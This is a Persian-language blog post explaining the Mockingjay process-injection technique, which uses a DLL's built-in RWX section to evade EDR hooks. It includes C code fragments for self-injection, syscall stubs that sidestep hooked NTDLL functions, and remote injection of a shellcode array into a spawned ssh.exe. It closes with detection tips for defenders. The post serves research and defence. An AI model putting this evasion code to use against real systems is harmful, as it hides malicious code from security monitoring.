یکی از تکنیکهایی که برای دور زدن EDR و XDR توسط بازیگران تهدید مورد استفاده قرار میگیره، Process Injection هستش. در این پست نگاهی به روش های رایج در Process Injection انداختیم و یه تکنیک جدید بنام Mockingjay که توسط محققین securityjoes پیاده سازی شده رو بررسی میکنیم.
Process Injection یه تکنیکی هستش که در اون کد مخرب به فضای حافظه پروسس تزریق میشه. این تکنیک به مهاجمان کمک میکنه تا کدهای مخربشون رو مخفی و از شناسایی توسط محصولات امنیتی دور بمونن. این تکنیک در محیط های ویندوزی، توسط ترکیبی از Windows API ها پیاده سازی میشه.
محصولات امنیتی هم براساس الگوها و روشهایی که پیاده شده، مکانیسم های امنیتی خوبی برای جلوگیری از اجرای این تکنیک ها دارن. برای نظارت بر این تکنیک ، EDRها یسری هوک روی این Windows API در فضای حافظه ی هر پروسس قرار میدن. این هوکها پارامترهای ارسالی به این APIها رو رهگیری و ضبط میکنن و در نتیجه EDR میتونن رفتارهای مخرب توسط اونارو شناسایی کنه.
با توجه به اینکه EDRها چندین API خاص رو برای این منظور هدف قرار میدن، بنابراین محققین دنباله یه روش جدیدی بودن که از توابعی استفاده کنن که در لیست APIهای نظارتی EDRها نباشن.
محققا کتابخونه های ویندوزی که مورد اعتماد بودن و شامل بخش هایی با محافظت پیش فرض RWX (Read-Write-Execute) بودن رو بررسی کردن. از طریق این کتابخونه ها تونستن به هدفشون برسن و کد مخرب تزریق کنن.
اسم این روش رو Mockingjay گذاشتن، چون ساده تر و مراحل کمتری نیاز داره. تزریق در این روش بدون اختصاص فضا، تنظیم پرمیشن یا شروع یه Thread انجام میشه. تکنیک روی یه DLL آسیب پذیر و کپی کد در قسمت خاصی از اون هستش.
Process injection :
Process injection همونطور که گفته شده، تکنیکی هستش که در اون کد مخرب به فضای حافظه پروسس تزریق میشه. این تزریق میتونه در همون پروسس باشه که بهش self-injection میگن و یا به یه پروسس دیگه تزریق بشه که Reamote Process injection هم میگن. در خصوص پروسس های دیگه اغلب مهاجمان از برنامه های در حال استفاده یا پروسس های سیستمی استفاده میکنن تا بتونن امتیاز بالایی رو کسب کنن، رفتار پروسس رو دستکاری کنن و یا کد مخرب رو از محصولات امنیتی پنهون کنن.
همونطور که بالا هم اشاره شد، این تکنیک متکی بر یسری API هستش. جدول زیر متداولترین تکنیکهای Process Injection رو براساس APIها نشون میده :
نام تکنیک | توضیحات | APIهای مورد نیاز |
Self injection | از این تکنیک اغلب در پکرها استفاده میشه. روی پروسس خارجی تاثیری نداره و در همون پروسسی که عمل تزریق انجام میده، تزریق میشه. |
|
Classic DLL Injection | در این تکنیک یه DLL مخرب رو به فضای حافظه یه پروسس دیگه تزریق میکنن. پروسس تزریق کننده در ابتدا یه پروسس قربانی پیدا میکنه، بعدش مسیر DLL رو در حافظه پروسس قربانی مینویسه و یه Thread ایجاد میکنه که DLL مخرب رو از رو دیسک اجرا کنه. |
|
PE Injection | در این تکنیک، بدافزار کل یه فایل اجرایی PE رو در حافظه پروسس دیگه نگاشت میکنه. یه بخش حافظه جدید در پروسس هدف برای نگاشت PE اختصاص میده. بعدش محتوای پیلود رو بصورت پویا، مثله لودر ویندوز ، با استفاده از relocation descriptor و آدرس مطلق section نگاشت میکنه. |
|
Process Hollowing / Run PE | در این تکنیک کدها و منابع پروسس هدف ، جایگزین یا حذف میشن و تنها چارچوب این پروسس میمونه که میزبان کد مخرب تزریق شده هستش و مثله یه پروسس قانونی اجرا میشه. |
|
Thread Execution Hijacking | این تکنیک جریان کنترل اجرا در یه پروسس رو با هدایت Thread به کد دلخواه انجام میده. در نتیجه مهاجم میتونه بدون ایجاد پروسس جدید یا دستکاری کدهای اصلی ، رفتار برنامه رو تغییر بده. |
|
Mapping Injection | در این تکنیک با استفاده از NtMapViewOfSection کد مخرب که در یه بخش تحت کنترل مهاجم هست رو به پروسس هدف نگاشت میکنه. این تکنیک نیازی به تخصیص بخش های RWX و کپی محتوای پیلود جداگانه نداره. کد مخرب بطور غیرمستقیم بخشی از فضای حافظه پروسس میشه و امکان اجرا بعنوان یه ماژول واقعی رو داره |
|
APC Injection and Atombombing | این تکنیک مکانیسم APC در ویندوز رو برای تزریق و اجرای کدهای مخرب در یک پروسس دستکاری میکنه. |
|
Process Doppelganging | در این تکنیک یه پروسس جدید قانونی با استفاده از Transactional NTFS و مکانیسم لوود پروسس ، برای پنهون کردن پروسس مخرب ایجاد میشه. |
|
تشخیص Process injection :
EDRها با ایجاد هوک در این APIها ، پارامترهای ارسالی بهشون رو رهگیری و ضبط میکنن و می تونن رفتار مشکوک رو تشخیص بدن. البته اینکه کدوم APIها رو تحت نظارت دارن، EDR به EDR فرق داره .
وقتی یه برنامه ای اجرا میشه، EDR یه اعلان در خصوص ایجاد یه پروسس جدید دریافت میکنه و بنابراین کتابخونه داینامیک خودش به اون وصل (attach) میکنه. بعد اجرا ، EDR با تغییر بایت کد، توابع خاصی رو در کپی داخل حافظه ی NTDLL.DLL دستکاری میکنه. هوک کردن NTDLL.DLL به دلیل اینکه بعنوان لایه واسط بین برنامه های کاربر و هسته هستش، برای EDRها از اهمیت بالایی برخوردار هستش.
شکل زیر تابع NtProtectVirtualMemory در NTDLL.DLL روی دیسک و در مموری رو نشون میده. EDR اومده اون قسمت آبی ، دستور jmp، رو به جای اون قسمت قرمز ، دستور mov جایگزین کرده تا رفتار این تابع رو بررسی کنه و اگه مورد مشکوکی وجود داشته باشه، جلوی اجرا رو بگیره :
تکنیک Mockingjay :
محققا با بررسی تکنیک های تزریق کد، متوجه شدن که بطور معمول دو عملکرد اصلی در اونا انجام میشه. یکی تخصیص حافظه و دیگری تنظیم Read-Write-Execute (RWX) برای این بخش از حافظه برای تزریق و اجرا هستش. اما هر دوی این عملکردها توسط NtWriteVirtualMemory و NtProtectVirtualMemory انجام میشن که توسط EDRها مونیتور میشن.
با توجه به اهمیت این Syscall ها و قرار دادن هوک توسط EDRها روی چنین توابعی، محققا تصمیم گرفتن که روش دیگه ای رو برای تزریق کد پیدا کنن. استراتژیشون هم اینجوری بوده که دنبال فایلهای PE بودن که از قبل در ویندوز بوده و دارای بخش RWX در ساختارشون بودن. با استفاده از این بخشها، نیازی به تخصیص و تنظیم موارد حفاظتی نیستش.
برای رسیدن به این هدف ، تحقیق رو به دو بخش تقسیم کردن :
- پیدا کردن یه DLL آسیب پذیر ،که دارای بخش RWX در مموریش باشه
- پیاده سازی process injection در این بخش
پیدا کردن DLL آسیب پذیر :
محققا یه ابزار نوشتن که کل DLL های موجود در سیستم رو لیست میکنه و بعدش بخش حافظه ی اونارو ارزیابی میکنه تا ببینه که آیا بخش RWX دارن یا نه. در نتیجه موارد مناسب برای این کار رو پیدا کردن.
در شکل بالا، موردی که به رنگ سبز هستش، یکی از این DLLها هستش که msys-2.0.dll مرتبط با Visual Studio 2022 Community هستش. اگه این DLL رو در PE-Bear باز کنیم، میتونیم این بخش رو مشاهده کنیم :
با 16 کیلوبایت فضایی که در اختیارمون قرار میده، میتونیم به هدفمون که دور زدن EDR و تزریق کد هستش، برسیم.
مکانیسم های تزریق :
بعد از اینکه محققا تونستن یه DLL آسیب پذیر پیدا کنن، اومدن دو تا روش تزریق کد رو امتحان کنن تا ببینن که آیا میتونن EDR دور بزنن یا نه. یکی از این مکانیسم ها Self Injection و دیگری Remote Process Injection هستش.
مکانیسم Self Injection :
در این روش برنامه ما، DLL آسیب پذیر رو با استفاده از LoadLibraryW و GetModuleInformation مستقیما لوود میکنه. از قسمت RWX این DLL ،برای ذخیره و اجرای کد تزریق شده استفاده میکنه :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 |
int main(int argc, char *argv[]) { // Load the vulnerable DLL HMODULE hDll = ::LoadLibraryW(L"path_to_vulnerable_dll"); if (hDll == nullptr) { // fail } MODULEINFO moduleInfo; if (!::GetModuleInformation( ::GetCurrentProcess(), hDll, &moduleInfo, sizeof(MODULEINFO)) ) { // fail } // Access the default RWX section (Vulnerable DLL address + offset) LPVOID rwxSectionAddr = (LPVOID)((PBYTE)moduleInfo.lpBaseOfDll + RWX_SECTION_OFFSET); // Write the injected code to the RWX section WriteCodeToSection(rwxSectionAddr , injectedCode); // Execute the injected code ExecuteCodeFromSection(rwxSectionAddr); |
نکته ای که هست، این DLL در داخل خود پروسس لوود میشه و بنابراین ما بدون تخصیص حافظه و تنظیم ویژگی های محافظتی ، میتونیم کد رو بنویسم و اجرا کنیم.
بعد از محاسبه آدرس های بخش RWX ، ساختاری بنام SectionDescriptor ایجاد کردن تا آدرس های اولیه و انتهایی این بخش توش ذخیره کنن. در نتیجه در زمان اجرا میتونن به این بخش دسترسی راحتتر و کارآمدی داشته باشن.
1 2 3 4 5 |
// Create SectionDescriptor structure SectionDescriptor descriptor = SectionDescriptor { rwxSectionAddr, (LPVOID)((PBYTE)rwxSectionAddr + RWX_SECTION_SIZE) }; |
در ادامه محققا اومدن تکنیک Hell’s Gate رو پیاده سازی کردن. این تکنیک بطور کلی برای دور زدن EDRها هستش و هدفش اینه که از ارجاع مستقیم APIها در IAT جلوگیری میکنه. در این تکنیک یه system call stub درون اجرایی اصلی ایجاد میشه. اون شماره system call ها رو از داخل یه نسخه بدون تغییر NTDLL.DLL جستجو و استخراج میکنه. این شماره های استخراجی به system call stub ارسال میشه و در نتیجه امکان اجرای system call دلخواه رو میده.
Hell’s Gate یه روش قابل اعتماد هستش اما متکی به یه نسخه بدون تغییر NTDLL.DLL هستش. با تستی که انجام دادن، EDRها دور خوردن.
بعد از اینکه بخش RWX در حافظه پروسس ما لوود شد، مرحله بعدی اینه که یسری stub ایجاد بشه. این کار با کد زیر قابل انجامه :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 |
LPVOID createSyscallStub(SectionDescriptor &descriptor, LPVOID testLocation, uint32_t syscallNumber) { BYTE stub[] = { 0x49, 0x89, 0xca, // mov r10, rcx 0xb8, 0x00, 0x00, 0x00, 0x00, // mov eax, 0x0 0xFF, 0x25, 0x00, 0x00, 0x00, 0x00, // jmp qword ptr [rip] 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }; ULONG stubSize = sizeof(stub); if (((PBYTE)descriptor.nextStubAddr + stubSize) > descriptor.endSectionAddr) { // fail } memcpy((uint32_t *)&stub[4], &syscallNumber, sizeof(uint32_t)); memcpy((PVOID *)&stub[14], &testLocation, sizeof(PVOID)); auto stubAddr = descriptor.nextStubAddr; memcpy((PBYTE *)stubAddr, &stub, stubSize); printf("[!] Stub created at 0x%p\n", stubAddr); descriptor.nextStubAddr = ((PBYTE)descriptor.nextStubAddr) + stubSize; return stubAddr; } |
در ابتدا بررسی میکنه که آیا فضای کافی برای ایجاد یه stub جدید هست یا نه. اگه وجود داشته باشه، شماره syscall رو از یه NTDLL.DLL دست نخورده و آدرس دستور test بعد از jmp که توسط EDR اضافه شده رو کپی میکنه . فقط اون قسمتی که NTDLL.DLL رو تجزیه و تحلیل میکنه، برای اختصار حذف شده.
در نتیجه با این استراتژی تونستن تمام توابعی که توسط EDR دستکاری شدن رو با شماره syscall از یه NTDLL.DLL دست نخورده بازسازی کنن و تمام هوکهای EDR رو بی اثر کردن.
فرایند کلی به این صورت هستش :
- برنامه یه DLL آسیب پذیر رو با استفاده از LoadLibraryW لوود میکنه.
- بخش RWX با استفاده از آدرس پایه DLL و آفست بخش بدست میاره.
- یه نسخه دست نخورده از NTDLL.DLL رو لوود میکنه و شماره های system call رو برای syscalls های مورد نظرش بدست میاره.
- آدرس دستور test بعد از دستور jmp اضافه شده توسط EDR رو از NTDLL.DLL موجود در مموری ، بدست میاره.
- با استفاده از آدرسهای دستور test و شماره syscall ، ما stub خودمون رو در ناحیه RWX مرتبط با DLL آسیب پذیر ایجاد میکنیم.
- وقتی stub اجرا میشه، اون شماره syscall رو در رجیستری EAX قرار میده و بلافاصله به آدرس دستورالعمل Testمربوط به system call مورد نظر میپره و EDR دور میخوره.
محققا با استفاده از این تکنیک تونستن بدون استفاده از NtWriteVirtualMemory و NtProtectVirtualMemory شلکدشون رو در فضای پروسس برنامه nightmare.exe خودشون، تزریق کنن. این حذف کامل وابستگی به API های ویندوز نه تنها احتمال شناسایی رو کاهش میده، بلکه اثربخشی تکنیک رو هم افزایش میده. نکته ای که هست اینکه شلکد تزریق شده با موفقیت همه EDR inline userland hook را بدون ایجاد هیچ شناسایی حذف کرده.
مکانیسم Remote Process Injection :
در این روش میخوان از بخش RWX موجود در DLL آسیب پذیر در پروسس دیگه استفاده کنن. برای این منظور نیاز هستش که یه باینری پیدا کنیم که از msys-2.0.dll استفاده کنه.
این DLL در برنامه هایی که نیاز به شبیه سازی POSIX هستش مانند ابزارهای GNU یا برنامه هایی که برای محیط ویندوز طراحی نشدن، استفاده میشه. یکی از این باینری ها ssh.exe هستش که در فولدر Visual Studio 2022 Community قرار داره.
برای هدف قرار دادن این باینری، نیاز هستش که اونو با استفاده از CreateProcessW بعنوان پروسس فرزند برنامه امون ایجاد کنیم. یه نکته ای که هست اینه که نیازی نیست آرگومان به ssh.exe بدیم و فقط کافیه اونو اجرا کنیم.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
LPTSTR command = L"C:\\Program Files\\Microsoft Visual Studio\\2022\\Community\\Common7\\IDE\\CommonExtensions\\Microsoft\\TeamFoundation\\Team Explorer\\Git\\usr\\bin\\ssh.exe"; LPTSTR args = L"ssh.exe decoy@decoy.dom"; STARTUPINFOW si; PROCESS_INFORMATION pi; ZeroMemory(&si, sizeof(si)); si.cb = sizeof(si); ZeroMemory(&pi, sizeof(pi)); DWORD dwCreationFlags = 0; BOOL success = ::CreateProcessW( command, args, nullptr, nullptr, FALSE, dwCreationFlags | DEBUG_ONLY_THIS_PROCESS | DEBUG_PROCESS, nullptr, nullptr, &si, &pi); |
بعد از ایجاد پروسس و اجازه اجرای آرگومانهای خط فرمان، نیاز هستش که پروسس باز کنیم و پیلود رو بصورت مستقیم در بخش RWX بنویسیم. این کار میتونیم با OpenProcess و WriteProcessMemory مطابق با کد زیر انجام بدیم :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 |
/*unsigned char buf[] = "\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41" "\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60" "\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72" "\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac" "\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2" "\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48" "\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f" "\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49" "\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01" "\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01" "\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1" "\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41" "\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b" "\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58" "\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41" "\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7" "\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\xfe\x00\x00\x00\x3e" "\x4c\x8d\x85\x0b\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83" "\x56\x07\xff\xd5\x48\x31\xc9\x41\xba\xf0\xb5\xa2\x56\xff" "\xd5\x48\x65\x6c\x6c\x6f\x2c\x20\x4a\x4f\x45\x53\x21\x00" "\x41\x6c\x65\x72\x74\x00"; HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pi.dwProcessId); if (hProcess == nullptr) { printf("[x] ReadProcessMemory failed with status 0x%x\n", ::GetLastError()); return 1; } if (!DebugActiveProcess(4236)) { printf("[x] DebugActiveProcess failed with status 0x%x\n", ::GetLastError()); ::CloseHandle(hProcess); return 1; } SIZE_T bytesWritten = 0; if (!WriteProcessMemory(hProcess, (LPVOID)0x21022D120, buf, sizeof(buf), &bytesWritten)) { printf("[x] WriteProcessMemory failed with status 0x%x\n", ::GetLastError()); } |
بعد از اینکه پیلود ما در بخش RWX نوشته شد، میتونیم منتظر باشیم تا جریان اجرای ssh.exe بطور طبیعی به پیلود ما در RWX برسه و اونو اجرا کنه. یه نکته ای هم که هست DLL مورد هدف از ASLR استفاده نمیکنه و میشه آدرس بخش RWX رو در پیلود ، هاردکد کرد.
در PoC محققین، شلکد تزریق شده به پروسس ssh.exe یه DLL دیگه بنام MyLibrary.dll رو در حافظه لوود میکنه. این DLL هم یه Reverse Shell میده.
این تکنیک هم موفق آمیز بوده و محققین تونستن، EDR دور بزنن. منحصر به فرد بودن این تکنیک در این مورد هستش که برای شروع اجرای تزریق کد ، ما نیازی به تخصیص حافظه، تنظیم پرمیشن ها یا ایجاد یک Thread جدید در پروسس هدف نیستش. این تمایز ، این استراتژی رو از سایر تکنیک های موجود متمایز میکنه و تشخیص این روش رو برای EDRها سختتر میکنه.
روش کلی برای پیاده سازی این روش :
- برنامه ما اجرا میشه
- برنامه ssh.exe که از msys-2.0.dll استفاده میکنه، بعنوان پروسس فرزند اجرا میشه.
- برنامه ما یه handle برای ssh.exe باز میکنه.
- کدی که قراره تزریق بشه، به بخش RWX در msys-2.0.dll کپی میشه.
- برنامه ssh.exe در روند طبیعی کد تزریق شده ما رو اجرا میکنه.
- MyLibrary.dll توسط کد تزریق شده در RWX لوود میشه.
- Reverse Shell برقرار میشه.
راهکارهای تشخیص این حملات :
- دنبال ابزارهای GNU باشید که توسط پروسس های مشکوک یا غیرمعمول اجرا شده باشن.
- دنبال اتصالات شبکه ای باشید که از طریق پروسس هایی مانند ssh.exe یا ابزارهای GNU به پورتهای غیراستاندارد متصل شده باشن.
- یه دیتابیس از DLLهای آسیب پذیر رو داشته باشید و اونارو رصد کنید.
- از reputation systems استفاده کنید. این سیستمها یه سطح اعتمادی رو براساس امضای دیجیتال ، رفتار و ویژگی های اون به DLL میدن.
ویدیو PoC :
ویدیوی تست PoC رو میتونید از کانال یوتیوبشون یا از طریق ویدیویی زیر مشاهده کنید :